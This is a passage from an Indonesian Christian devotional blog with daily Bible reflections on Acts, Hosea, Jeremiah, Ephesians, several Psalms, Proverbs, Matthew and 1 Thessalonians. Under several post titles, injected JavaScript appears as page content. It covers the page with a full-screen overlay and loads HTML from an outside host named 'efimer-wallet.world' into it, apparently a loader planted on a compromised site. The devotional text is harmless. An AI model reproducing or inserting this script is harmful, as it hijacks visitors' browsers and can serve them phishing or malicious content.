Keselamatan hanya dalam Yesus

Kamis, 18 April 2024

Kisah Para Rasul 4 : 5 – 12

PENGANTAR
Konteks bacaan hari ini dimulai dari peristiwa Petrus dan Yohanes pergi ke Bait Suci untuk berdoa (Kis 3 : 1-10). Di sana Petrus menyembuhkan orang lumpuh. Ketika orang lumpuh tersebut disembuhkan, ia berpegangan pada Petrus dan Yohanes sehingga orang-orang yang berada di serambi Salomo mendekat kepada Petrus dan Yohanes dengan keheranan. Menanggapi hal itu maka Petrus berkotbah tentang Kristus yang penuh kemuliaan, yang mati dan bangkit. Petrus juga menyerukan supaya para pendengar bertobat (Kis 3 : 11-4:4). Dan dari kotbah Petrus tersebut lima ribu orang bertobat ( ayat 4 ).

PEMAHAMAN
• Ayat 5 – 7, Mengapa para penguasa/pemimpin agama menangkap Petrus dan Yohanes ? Apa pertanyaan utama mereka ?
• Ayat 8 -12, Apa jawaban Petrus terhadap pertanyaan-pertanyaan yang diajukan para penguasa atau pemimpin agama ?

Peristiwa penyembuhan orang lumpuh dan kesaksian Petrus tentang kebangkitan Yesus dari kematian, berdampak mereka ditangkap dan dimasukkan kedalam tahanan ( ayat 1-4 ). Keesokan harinya para pemimpin Yahudi, tua-tua, ahli-ahli Taurat, imam besar Hanas dan Kayafas, serta orang-orang penting mengadakan sidang di Yerusalem ( ayat 5-6 ). Petrus dan Yohanes diperhadapkan ke persidangan, dengan pertanyaan-pertanyaan, “Dengan kuasa manakah atau dalam nama siapakah kamu bertindak demikian itu ? ( ayat 7 ).

Maka dengan sangat berani dan oleh pertolongan Roh Kudus Petrus menjawab pertanyaan mereka : Pertama Petrus menjawab bahwa ia bertindak demi nama Yesus Kristus yang disalibkan dan bangkit dari kematian ( ayat 10 ). Dalam nama Yesuslah orang lumpuh itu disembuhkan. Kedua : Bahwa keselamatan tidak ada didalam siapapun selain didalam Dia ( Yesus ), oleh-Nya kita dapat diselamatkan ( ayat 12 ).

Tuhan adalah Juruselamat satu-satunya. Jika Petrus mengatakan bahwa di dalam Yesus ada keselamatan maka secara langsung Petrus menyatakan bahwa Yesus adalah Tuhan, Juruselamat dunia. Yesus Kristus adalah wujud sempurna dari Juruselamat itu. Ia mati dan mencurahkan darah-Nya bagi keselamatan dan penebusan manusia.

Syukur kepada Tuhan karena keselamatan dari Tuhan telah disediakan di dalam nama Yesus Kristus. Dan untuk mendapatkan keselamatan, maka harus percaya kepada Yesus Kristus. Sudahkah anda percaya kepada Yesus Kristus ? Amin.

REFLEKSI :
Marilah kita merenungkan : Petrus bersaksi bahwa keselamatan hanya ada dalam nama Yesus ? Bagaimana sikap anda akan pernyataan Petrus tersebut ?

TEKADKU :
Ya Tuhan saya bersyukur, bahwa keselamatan hanya ada dalam nama Yesus. Dan saya juga bersyukur atas keselamatan yang Tuhan anugerahkan kepada saya.

TINDAKANKU :
Saya akan bersaksi bahwa keselamatan hanya dalam nama Yesus.

Posted in RENUNGAN | Leave a comment

Bertobat yang sungguh-sungguh

Selasa, 16 April 2024
Hosea 5 : 15 – 6 : 6

PENGANTAR
Ketika kita membaca kitab Hosea secara keseluruhan, maka kita akan memahami bahwa pergumulan pelayanan Hosea terkait secara menyeluruh, baik pemberitaan maupun kehidupan keluarganya. Ketidaksetiaan istri Hosea terhadap Hosea dipakai sebagai gambaran umat Israel yang tidak setia kepada Tuhan. Israel sebagai umat Tuhan menyembah berhala dan membelakangi Allah dan memberontak terhadap Allah, karena hal itu maka mereka dihukum Allah.
Walaupun demikian kasih Allah kepada umat-Nya tidak berubah, sehingga Allah menuntut mereka bertobat.

PEMAHAMAN
• Hosea 5 : 15, Mengapa Tuhan Allah menjauh dari umat-Nya ( menyembunyikan diri ) ?
• Hosea 6 : 1-3, Apa ajakan Hosea, kepada umat Tuhan ?
• Hosea 6 : 4-6, Apa yang dikehendaki Tuhan ?

Israel telah meninggalkan Tuhan sebagai kekasihnya dan mengikuti baal, dan seolah-olah tidak butuh Tuhan. Oleh karena itu Tuhan menyembunyikan diri dari umat Israel. Menyadari bahwa umat Israel telah meninggalkan Tuhan, maka Hosea berseru, “Mari kita akan berbalik kepada Tuhan”. Kata ‘berbalik’, dalam Bahasa Ibrani memakai kata ‘Syub’ yang berarti bertobat, yang meliputi perubahan pikiran, pandangan dan sikap hidup. Ketika Hosea mengajak umat Israel untuk berbalik (bertobat) berarti Hosea meminta mereka untuk berubah dalam pikiran, pandangan dan perbuatan, itu berarti Hosea mengajak umat Israel untuk bertobat dengan sungguh-sungguh.

Mengapa Hosea melakukan hal itu ? Karena pertobatan Israel adalah pertobatan yang semu (penuh kepura-puraan), atau palsu, bibirnya mengaku dosa tetapi hati dan perbuatannya melakukan kejahatan.

Tuhan juga menghendaki agar umat-Nya bertobat dengan sungguh-sungguh. Pertobatan yang benar dan dikehendaki Tuhan (sungguh-sungguh) adalah dengan menghidupi pertobatan itu sendiri yaitu dengan penuh kesadaran dan penyesalan mengakui dosa dan kesalahannya, dengan terus mencari Tuhan sampai menemukan dan merindukan-Nya, serta mengasihi Tuhan dan sesama, bahkan hidup menurut Firman Tuhan dan melakukan segala sesuatu dengan kasih. Kiranya ini juga menjadi komitmen umat percaya (kita). Amin.

REFLEKSI :
Marilah kita merenungkan : Pernahkah anda menyadari bahwa karena dosa dan kesalahan anda, maka Tuhan seolah-olah menyembunykan Diri dari anda ? Jika demikian, apa yang akan anda lakukan ?

TEKADKU :
Ya Tuhan, ampunilah saya dari dosa-dosa dan kesalahan saya, agar saya dapat merasakan kasih sayang-Mu.

TINDAKANKU :
Bertobat dengan sungguh-sungguh dan berjuang hidup dalam perubahan.

Posted in RENUNGAN | Tagged | Leave a comment

Masih ada harapan

Senin, 15 April 2024

Yeremia 30 : 1 – 11

PENGANTAR
Bagi orang yang sedang dirundung kemalangan, penderitaan, sakit berkepanjangan, yang paling diharapkan adalah pemulihan dari segala permasalahan dan kesembuhan. Hanya bagaimana jika sebuah harapan dan doa terus dinaikkan kepada Tuhan, namun tidak kunjung mendapat jawaban, maka secara pelan dan pasti keyakinan akan menurun. Kemudian kita akan bertanya, masih adakah harapan ? Renungan hari ini akan menuntun kita, untuk terus berharap kepada Tuhan di tengah-tengah perjalanan hidup yang penuh persoalan.

PEMAHAMAN
• Ayat 1 – 4, Apa yang Tuhan janjikan kepada umat Yehuda di pembuangan ( ay 3 ) ?
• Ayat 5 – 11, Apa yang Tuhan inginkan dari umat Yehuda yang sedang menderita di pembuangan ?

Dalam perikop ini ( pasal 30 ) sangat kontras dengan pasal-pasal terdahulu. Dalam pasal-pasal terdahulu berisi berita penghukuman yang harus dialami umat Yehuda sebelum mendapat pengampunan Allah, sedangkan dalam pasal 30 ini berisi pengharapan dan berkat yang akan dialami umat Tuhan yang sedang mengalami penderitaan di Babel.

Harapan yang Tuhan berikan kepada umat Israel (Yehuda) dimulai dari tempat di mana mereka tinggal (29 : 7), agar mereka menjadi berkat bagi kota setempat di mana mereka tinggal, kemudian Tuhan menyatakan janji-Nya. Ayat 3 mengatakan, “Sebab sesungguhnya, waktunya akan datang, demikianlah Firman Tuhan, bahwa Aku akan memulihkan keadaan umat-Ku Israel dan Yehuda – Firman Tuhan – dan Aku akan menggembalakan mereka ke negeri yang telah Kuberikan kepada nenek moyang mereka, dan mereka akan memilikinya”. Melalui ayat ini Tuhan menyatakan janji pemulihan kepada umat-Nya. Bahwa Tuhan adalah Allah yang dapat dipercaya dan tidak pernah mengingkari janji-Nya.

Tuhan Allah ingin agar umat Yehuda yang sedang mengalami penderitaan di pembuangan tahu dan memahami bahwa disiplin dan hajaran dari Tuhan akan berakhir. Babel akan diadili Tuhan dan kuk perhambaan Yehuda dan Israel akan dipatahkan. Sehingga umat Yehuda akan kembali pulang ke Yerusalem. Dari sinilah umat Tuhan harus memahami bahwa ditengah penderitaan yang berkepanjangan, ketika mereka mereka mau percaya dan bersandar kepada Tuhan, maka masih ada harapan mendapat pemulihan dari Tuhan. Amin.

REFLEKSI :
Marilah kita merenungkan : Apakah anda sedang menghadapi pergumulan berat dan melelahkan ? Apakah harapan anda terhadap persoalan yang sedang alami ? Kepada siapa anda berharap ? Apakah anda yakin bahwa pengharapan dari Allah lebih besar dan lebih sempurna dari impian kita ?

TEKADKU :
Ya Tuhan, topanglah saya dalam menghadapi setiap persoalan, agar saya tetap kuat dan berharap kepada Tuhan.

TINDAKANKU :
Ketika saya sedang menghadapi banyak persoalan, saya harus terus berdoa dan berharap kepada Tuhan.

Posted in RENUNGAN | Leave a comment

BERKAT TRINITAS

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 22 November 2023

Efesus 1 : 3 – 14

Pengantar

“Usahakanlah keselamatan Anda sendiri, dan jangan bergantung pada orang lain.” Nasihat semacam itu sering kita temukan di dalam kebanyakan ajaran agama dan filsafat di dunia. Namun, bertolak belakang dengan nasihat tersebut, pengkhotbah Kristen, Charles Spurgeon (1834-1892), justru memperingatkan, “Musuh terbesar jiwa manusia adalah kecenderungan membenarkan diri sendiri yang membuat manusia mencari keselamatan dengan upayanya sendiri.” Kekristenan menghayati keselamatan sebagai anugerah yang diberikan Allah melalui karya Kristus dan Roh Kudus. Melalui bacaan hari ini kita akan melihat bagaimana berkat rohani yang terbesar itu dikerjakan oleh Allah Trinitas di dalam kehidupan orang-orang percaya.

Pemahaman

  • Ayat 3-6.     Apa peran dan karya Allah Bapa dalam keselamatan orang percaya?
  • Ayat 7-12. Apa peran Yesus Kristus?
  • Ayat 13-14. Apa peran Roh Kudus?

Di ayat 3-6, Rasul Paulus mengajak kita memuji Allah Bapa yang telah memilih kita untuk menerima keselamatan dan hidup sebagai orang-orang yang telah diselamatkan (ay. 4, “hidup kudus dan tak bercacat di hadapan-Nya”). Pemilihan ini terjadi di dalam kekekalan (ay. 4, “sebelum dunia dijadikan”), dan dilakukan di dalam “kasih” dan “kerelaan kehendak-Nya” (ay. 5). Jadi, kita menjadi orang-orang yang dipilih untuk diselamatkan semata-mata karena kasih dan kedaulatan Allah. Karena itu, kita patut memuji Dia yang telah memberikan “anugerah-Nya yang mulia” (ay. 6).

Di ayat 7-12, Rasul Paulus menguraikan karya Yesus Kristus, yaitu penebusan. Istilah penebusan di sini merujuk pada pelepasan atau pembebasan dari perbudakan dosa (lih. Kol 1:14; Ibr. 9:15). Buah dari karya penebusan yang dilakukan oleh Yesus ini adalah pengampunan dosa yang diterima oleh orang-orang

percaya (lih. Ef 4:32). Menerima pengampunan dosa secara cuma- cuma tidak boleh membuat manusia meremehkan dosa. Penebusan dosa itu telah dilakukan dengan darah yang mahal, yaitu darah Kristus ( 1 Petrus 1 : 18 – 19 ) . Allah juga menganugerahkan hikmat dan pengertian (ay. 8) agar kita dapat memahami karya penebusan Kristus itu, dan juga rencana keselamatan yang akan dikerjakan-Nya bagi orang Yahudi maupun non-Yahudi.

Di ayat 13-14, Rasul Paulus menjelaskan karya Roh Kudus. Setelah mendengarkan firman kebenaran atau Injil keselamatan, dan percaya kepada Yesus, maka pada waktu itu juga kita akan dimeteraikan oleh Roh Kudus. Meterai (Yun: sphragis) digunakan untuk menjamin keabsahan sebuah perjanjian. Selain menggunakan gambaran meterai, di ayat 14, Paulus juga menyebut Roh Kudus sebagai uang panjar (Yun: arrabon), yaitu pembayaran awal yang diterima oleh penjual sebagai jaminan untuk pelunasannya. Jadi, oleh karya Roh Kudus, orang-orang percaya pasti akan menerima keselamatan pada waktunya.

Refleksi                                                                 

Berkat yang terbesar bagi orang-orang percaya adalah keselamatan yang merupakan karya tiga Pribadi Allah Trinitas: pemilihan oleh Bapa (ay.4-6), pengorbanan Sang Anak (ay.7-12 ), dan meterai Roh Kudus (ay.13-14).

Tekadku                                                                

Tuhan, aku bersyukur atas anugerah keselamatan yang Kau karuniakan kepadaku.

Tindakanku                                                           

Aku akan berdoa bagi para peserta katekisasi agar mereka sungguh-sungguh memahami karya keselamatan yang dikerjakan oleh Allah Trinitas.

Posted in RENUNGAN | Leave a comment

DOA MINTA PERTOLONGAN TUHAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Kamis, 09 November 2023

Mazmur 70 : 1 – 6

Pengantar

Pernahkah saudara merasakan kesedihan, kepedihan dan kekecewaan karena diperlakukan dengan tidak adil atau karena tidak diharapkan kehadirannya oleh orang lain atau ada orang yang mengharapkan saudara mengalami sesuatu yang tidak baik? Biasanya ketika kita mengalami hal-hal demikian kita akan merasa sedih, pedih dan kecewa sehingga dalam hati sanubari kita ingin rasanya membalas memperlakukan orang-orang yang telah membuat hati kita sedih, pedih dan kecewa itu. Hari ini Firman Tuhan mengingatkan kita agar tetap kuat menghadapi kesedihan, kepedihan dan kekecewaan akibat perlakuan yang tidak baik terhadap kita.

Pemahaman

  1. Apa makna ungkapan-ungkapan dalam doa Daud seperti terungkap dalam ayat 2-4?
  2. Pelajaran apa yang bisa kita petik dari syair doa Daud dalam ayat 5-6?

Mazmur 70 ini digolongkan sebagai salah satu dari mazmur ratapan, karena memiliki unsur seruan meminta pertolongan Allah. Doa Permohonan Daud ini dinaikkan oleh Daud saat ia mempersembahkan korban peringatan kepada Allah (v. 1). Dalam doanya, Daud meminta Allah segera menolong dan menyelamatkannya dari maut (v. 2). Kata “segera” di sini menandakan sesuatu yang gawat maka harus mendesak. Daud mendesak Allah untuk turut campur dalam persoalan yang sedang dihadapinya. Dalam doanya, ia sangat gelisah dan takut sebab para musuhnya tiada hentinya berupaya ingin mencelakai dan mencabut nyawanya (v. 3). Kondisi demikian membuat Daud tidak tahu harus meminta pertolongan kepada siapa selain Allahnya.

Selain itu, Daud juga berdoa agar Allah Israel bukan hanya menolongnya, tetapi juga mempermalukan para musuh yang menyumpahi dirinya (v. 4). Ada rasa kesal dan marah dalam diri Daud melihat para musuhnya yang terus-menerus mengutuki dan menyumpahinya. Permohonan doa Daud mendapat jawaban dari Allah sehingga ia mengajak orang-orang benar bersama dengan dirinya bersukacita (v. 5a). Daud yakin bahwa Allah tidak akan pernah mengecewakan orang yang sungguh-sungguh mencari dan berharap kepada-Nya. Daud yakin bahwa orang yang mencari Allah dan mencintai keselamatan-Nya akan melihat kebesaran Allah menolongnya (v. 5b). Perbuatan Allah yang ajaib membuat mereka selalu takjub akan kebesaran Allah. Tidak heran jika Allah lebih utama dalam kehidupan mereka daripada hal-hal yang lain. Dalam sukacitanya Daud merendahkan diri di hadapan Allah dan memfokuskan hidupnya pada Allah. Ia percaya bahwa pertolongan Allah selalu datang tepat pada waktu (6c).

Refleksi                                                                 

Saudara, ketika engkau sedih, pedih dan kecewa berserulah pada Tuhan, Dia siap menolongmu.

Tekadku

Ya Tuhan, apapun yang menimpa hidupku, aku akan tetap memfokuskan hidupku kepada-Mu.

Tindakanku                                                           

Saudara mari kita menjalani hari ini dengan sukacita sambil berfokus pada Allah menolong kita.

Posted in RENUNGAN | Leave a comment

HATI-HATI JANGAN SALAH JALAN

Rabu, 08 November 2023

Amsal 16 : 21 – 33

Pengantar

Kata orang hidup ini ibarat menyusuri sebuah perjalanan. Ada perjalanan yang panjang dan perjalanan yang pendek, ada perjalanan yang lama dan perjalanan yang singkat, ada perjalanan yang mudah dan perjalanan yang sulit. Walaupun demikian hampir setiap kita pasti akan berjuang dan berusaha untuk menjalaninya sampai kita mencapai apa yang menjadi tujuan dari perjalanan kita itu. Namun apakah tujuan dari setiap perjalanan hidup kita dengan segala arahnya sesuai dengan tujuan yang Allah kehendaki dalam hidup kita? Seberapa yakinkah kita bahwa setiap jalan yang kita lalui adalah merupakan jalan yang benar dan sesuai dengan kehendak Allah? Hari ini kita belajar dari pengAmsal, bagaimana jalan yang benar dan yang sesuai kehendak Allah.

Pemahaman

  1. Bagaimanakah jalan hidup orang yang akan menuju pada jalan yang benar? (v 21-24)
  2. Bagaimanakah jalan hidup orang yang akan menuju pada jalan yang salah? (v. 25-30)
  3. Apa yang akan diperoleh orang yang jalannya benar? (v. 31-33)

Pada ayat 21-24, PengAmsal menjabarkan ciri-ciri orang yang berada di jalan yang benar, yakni: hatinya bijaksana dalam: Berpikir, Berkata-kata dan bertindak sehingga selalu memikirkan yang baik yang benar dan yang memuliakan Tuhan (Band. Fil 4:8- 9). Orang yang jalannya menuju pada yang benar, pasti akan mengalami damai sejahtera dalam hidupnya, tidak dikuasai kekuatiran, iri, dengki dan merasa diri paling hebat dan benar dari orang lain. Sebaliknya bisa menghargai dan menghormati orang

lain yang berbeda dengannya. Bagaimana dengan orang yang jalannya salah, ia: Selalu merasa diri benar padahal belum tentu benar, hidup mementingkan diri sendiri, tutur katanya selalu merendahkan, menghina orang lain sehingga cenderung memancing perselisihan dan pertengkaran, cenderung memaksakan kehendak pada orang lain, hatinya dikendalikan oleh tipu muslihat yang mendatangkan kejahatan sehingga keberadaannya tidak membawa damai sejahtera bagi siapapun di sekitarnya (v. 25-30). Jalan orang yang salah akan mendatangkan hukuman Allah bagi dirinya sendiri, sedangkan jalan orang yang benar akan mendatangkan kesuksesan, keberhasilan dan kedamaian di dalam Allah yang menyertainya (v. 31-33).

Refleksi                                                                 

Saudara, Firman Tuhan hari ini mengingatkan kita bahwa ada jalan yang terlihat lurus dan baik, namun berujung pada maut. Oleh karena itu penting bagi kita untuk menguji hati dan mengevaluasi diri apakah sudah berada di jalan yang benar atau jalan yang salah!

Tekadku                                                                

Ya Tuhan, tolonglah aku agar tidak salah memilih jalan hidup, agar terhindar dari hukuman-Mu.

Tindakanku                                                           

Mari saudara kita perhatikan apakah kita sudah berada di jalan yang benar atau belum? Kiranya Allah menolong kita untuk memilih jalan yang benar di sepanjang hari ini dan selanjutnya.

Posted in RENUNGAN | Leave a comment

SESUAI

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Minggu, 05 November 20223

Matius 23 : 1 – 12

Pengantar

Dalam masa persiapan menuju pemilihan umum, ada tokoh- tokoh yang ingin menjadi pemimpin negeri ini. Ketika kampanye, mereka berjanji akan menjadi pemimpin yang melayani rakyat dan melakukan perubahan-perubahan demi membawa negeri ini menjadi lebih baik. Namun seringkali janji-janji pada masa kampanye tak terwujud. Bahkan ada pula yang akhirnya menjadi tahanan KPK karena melakukan korupsi. Kepemimpinan mereka bersifat NATO ( No Action, Talk Only). Tentu kita prihatin dengan kondisi ini. Dalam bacaan Alkitab hari ini kita juga melihat keprihatinan dan kritik keras TUHAN YESUS terhadap ahli-ahli Taurat dan orang-orang Farisi yang kehidupannya bersifat NATO. Marilah kita merenungkannya!

Pemahaman

Ayat 1-7 : Mengapa para murid KRISTUS tak boleh menuruti perbuatan ahli-ahli Taurat dan orang- orang Farisi?

Ayat 8-12 : Sikap seperti apa yang perlu dilakukan para murid KRISTUS?

TUHAN YESUS mengecam ahli-ahli Taurat dan orang-orang Farisi dengan keras, bukan karena apa yang mereka ajarkan, melainkan karena mereka tidak melakukan apa yang mereka ajarkan. Para pemuka agama itu suka duduk di bagian paling depan di rumah ibadah. Mereka duduk di tempat terhormat dan melakukan pekerjaan hanya agar dilihat baik dan dipuji orang. Mereka lupa hal terpenting yang ada dalam ajaran itu sendiri. Mereka melupakan keadilan dan rasa belas kasihan pada sesama. Mereka tak melakukan apa yang mereka ajarkan. Mereka bukanlah contoh pemimpin yang baik.

TUHAN YESUS mengajak kita para murid-Nya agar menjadi pribadi yang seimbang yakni menjaga kesesuaian antara kata dan

perbuatan kita. Kita tidak boleh bicara dan mengajari orang lain supaya mereka hidup baik sementara diri kita sendiri hidup dalam keadaan morat-marit. Terkadang kita juga bersikap seperti orang- orang Farisi dan ahli-ahli Taurat yang munafik dan tidak konsekuen. Kita menuntut orang lain hidup dan berbuat yang benar, tetapi diri kita sendiri malah melakukan yang tidak baik. Maka TUHAN YESUS mengajak kita supaya kita hidup sesuai apa yang kita katakan. Apa yang kita katakan itulah yang kita hidupi.

Keselarasan antara hal-hal baik yang keluar dari mulut dengan tindakan yang kita lakukan adalah tantangan bagi setiap pengikut KRISTUS. Kita harus berusaha menjaga perilaku selaras dengan hati yang sudah diperbarui ALLAH melalui firman-Nya. Dengan demikian, panggilan melayani TUHAN kita lakukan bukan untuk dipandang sebagai orang yang hebat dan bukan sebatas kewajiban.

Melalui perbuatan kita, orang lain harus dapat merasakan kasih KRISTUS. Bukan untuk menuai pujian atas kehebatan kita, melainkan sebagai bentuk ketaatan kita pada TUHAN yang layak ditinggikan. Karya keselamatan yang kita terima melalui KRISTUS dapat kita perlihatkan agar membawa kesaksian yang baik bagi orang lain.

Refleksi                                                                 

Dalam keheningan, renungkanlah apakah Saudara telah menghidupi identitas murid KRISTUS dengan tindakan yang sesuai?

Tekadku                                                                

Ya TUHAN, mampukanlah aku untuk menghidupi tekad hidup beriman dalam perbuatan nyata sehingga dengan penuh kerendahan hati dapat melayani TUHAN dan sesama.

Tindakanku                                                           

Mulai hari ini aku akan terus belajar mempersaksikan karya kasih TUHAN bukan hanya melalui kata-kata tapi juga tindakan nyata.

Posted in RENUNGAN | Leave a comment

BERJUANG MEMELIHARA & MENERUSKAN

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Sabtu, 04 November 2023

1 Tesalonika 2 : 9 – 13

Pengantar

Seseorang membangun rumah dengan taman yang indah. Sayangnya kemudian dia sangat sibuk sehingga tak memiliki waktu untuk memperhatikan dan memelihara tamannya. Lama- kelamaan rumput liar dan gulma tumbuh dan taman itu pun berubah menjadi kotor dan kehilangan keindahannya. Kata orang, menciptakan itu lebih mudah daripada memeliharanya. Bibit baik yang kita tanam bila tak dipelihara akan menjadi rusak dan mati. Demikian pula karya iman.

Dalam bacaan Alkitab hari ini kita membaca tentang Rasul Paulus yang berjuang mewartakan Injil siang dan malam dalam rangka melanjutkan dan memelihara pesan Injil terus menerus. Marilah kita merenungkannya!

Pemahaman

Ayat 9        : Mengapa Paulus berjerih payah dalam memberitakan Injil?

Ayat 10-12 : Bagaimanakah kedalaman relasi Paulus dan jemaat Tesalonika?

Ayat 13 : Bagaimanakah sikap jemaat Tesalonika atas p e m b e r i t a a n F i r m a n A L L A H y a n g disampaikan Paulus?

Paulus adalah seorang Rasul yang sangat bersemangat dalam memberitakan Injil. Dalam karya pelayanannya, dia tidak pernah putus asa. Walaupun Paulus tidak mendapatkan upah dalam tugasnya sebagai rasul namun tidak menyurutkan semangatnya dalam memberitakan Injil. Dia bekerja keras siang dan malam untuk bisa memberitakan Injil dan juga memenuhi kebutuhannya.

Ia bukan hanya menyampaikan Firman TUHAN tapi juga menasihati dan menguatkan iman orang lain agar yakin dan percaya kepada TUHAN YESUS KRISTUS. Paulus mengerjakan semua tugas panggilan pelayanan ini dengan gembira dan penuh syukur. Dengan semangat dan kegigihannya dalam mewartakan Injil, sesungguhnya Rasul Paulus memelihara dan meneruskan karya TUHAN yang menyelamatkan dunia ini.

Kegigihan dan semangat Paulus ini berdampak nyata dalam kehidupan jemaat Tesalonika. Kita melihat semangat Paulus juga

menyemangati jemaat Tesalonika. Dari ayat 13, kita dapat melihat bagaimana sikap jemaat Tesalonika dalam menerima Firman TUHAN. Rasul Paulus bersyukur atas penerimaan tulus mereka terhadap Firman TUHAN. Walaupun yang memberitakan Injil itu manusia, namun mereka menerima dengan tulus dan berharga sebagai firman ALLAH.

Sesungguhnya dalam perjalanan iman diperlukan perjuangan untuk memelihara benih iman dan keselamatan agar terus bertumbuh kembang menjadi berkat bagi banyak orang. Kita menyadari bahwa kabar baik keselamatan berasal dari ALLAH dan tugas kita adalah memelihara dan meneruskannya kepada banyak orang. Semua itu kita lakukan bukan untuk nama kita tetapi demi kemuliaan TUHAN.

Marilah kita dengan gembira dan terus semangat berjuang untuk mewartakan kabar keselamatan dan kebaikan TUHAN. Mewartakan berarti memelihara dan meneruskan kebaikan TUHAN bagi orang-orang di sekitar kita.

Refleksi                                                                 

Dalam keheningan, marilah mengingat kembali perjalanan hidup Saudara sebagai orang percaya. Apakah Saudara selalu bersemangat dan bersukacita memelihara dan meneruskan kebaikan TUHAN dengan menjadi pewarta kabar baik keselamatan bagi semua orang?

Tekadku                                                               

Ya TUHAN, mampukanlah aku terus berjuang memelihara karya baik-Mu yang menyelamatkan dunia ini dengan menyediakan diri menjadi pewarta Injil-Mu bagi banyak orang.

Tindakanku                                                           

Mulai hari ini, setiap hari aku akan memikirkan satu bentuk tindakan konkret mewartakan kebaikan TUHAN yang menyelamatkan banyak orang.

Posted in RENUNGAN | Leave a comment

BERHARAPLAH PADA ALLAH!

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Jumat, 03 November 2023

Mazmur 43

Pengantar

Ada sebuah puisi menarik karya Dewi Pagi yang dimuat dalam Kompasiana.com. Puisi ini menggambarkan hidup bagaikan bermain roller coaster:

Hidup  ibarat  roller  coaster terjepit, jatuh, naik, berjungkir balik histeris menjerit bagai leher akan dicekik

Roller coaster kencang berputar jantung dan nadi ikut hebat bergetar rasa takut ketika terhempas ke bawah teriakan rasa gundah lalu lepaskan resah

Puisi ini mau menggambarkan kehidupan bagaikan permainan yang menyenangkan namun diwarnai pengalaman menegangkan. Bila demikian apakah yang perlu kita lakukan agar kita tetap bahagia di tengah kehidupan yang diwarnai ketegangan dan ketakutan mencekam? Marilah kita belajar dari Mazmur 43.

Pemahaman

Ayat 1-2 : bagaimanakah situasi hidup yang sedang dialami Pemazmur?

Ayat 3-5 : Apakah yang dilakukan Pemazmur di tengah tekanan kehidupan?

Mazmur 43 dilatarbelakangi konteks perjuangan hidup Pemazmur yang berhadapan dengan tekanan mereka yang berlaku tidak adil, curang dan suka menipu (ayat 1). Tentu kondisi seperti ini tak mudah dihadapi bahkan bisa jadi menggoncang iman. Walaupun ada kesadaran bahwa ALLAH adalah tempat pengungsian; tempat menemukan keamanan dan ketenangan namun akan tetap muncul perasaan “ mengapa engkau membuang aku?” (ayat 2 ).

Dalam pergumulannya, Pemazmur tidak membiarkan dirinya terpuruk dalam ketakutan yang mencekam namun melakukan dialog batin yang memotivasi dan mengarahkan dirinya untuk terus berharap pada ALLAH. Katanya, “mengapa engkau tertekan hai jiwaku dan mengapa engkau gelisah dalam diriku? Berharaplah kepada ALLAH! (ayat 5) Kata berharap berasal dari kata Ibrani yachal

yang berarti sabar menanti, tetap bertahan, tetap percaya kepada ALLAH meskipun terluka oleh penderitaan itu.

Sesungguhnya ALLAH tidak berdiam diri. Dia berkarya aktif untuk menolong dan menyelamatkan umat-Nya. Bila kita meyakini bahwa ALLAH sedang berkarya untuk menyelamatkan kita maka kita akan bisa selalu bersyukur kepada ALLAH, Sang Penolong. Namun tantangannya adalah daya tahan kita dalam proses yachal (proses berharap). Tak sedikit orang tak tahan atau tak sabar menanti pertolongan TUHAN. Pengharapan mereka goyah oleh tekanan yang menggoncangkan sehingga mengambil keputusan berhenti berharap pada ALLAH. Syukurlah pergumulan iman Pemazmur segera berganti dengan keyakinan iman bahwa ALLAH adalah sumber kegembiraan dan sukacita yang mampu mengirimkan terang dan kesetiaan-Nya hingga ungkapan syukur pun dipanjatkan kepada TUHAN. ( ayat 3-4).

Sesungguhnya hidup ini bukan tentang kita tapi tentang TUHAN yang berkarya dalam hidup kita. Jadi apa pun yang terjadi, jangan mengandalkan kekuatan sendiri. Bila kita mengandalkan kekuatan sendiri, maka hidup ini akan menyeramkan dan menegangkan sebab ada banyak peristiwa yang kita alami di luar kendali dan kekuatan kita. Namun sebaliknya bila kita terus setia berharap pada ALLAH maka kuasa-Nya akan memampukan kita menikmati hidup dengan bahagia walau pun terkadang tekanan dan goncangan juga melanda.

Refleksi                                                                

Dalam keheningan, renungkanlah perjalanan hidup Saudara. Apakah Saudara selalu setia berharap pada ALLAH ataukah pernah kehilangan kesabaran untuk berharap?

Tekadku                                                                

Ya TUHAN, mampukanlah aku untuk melanjutkan kehidupan dengan selalu berharap pada-Mu.

Tindakanku                                                           

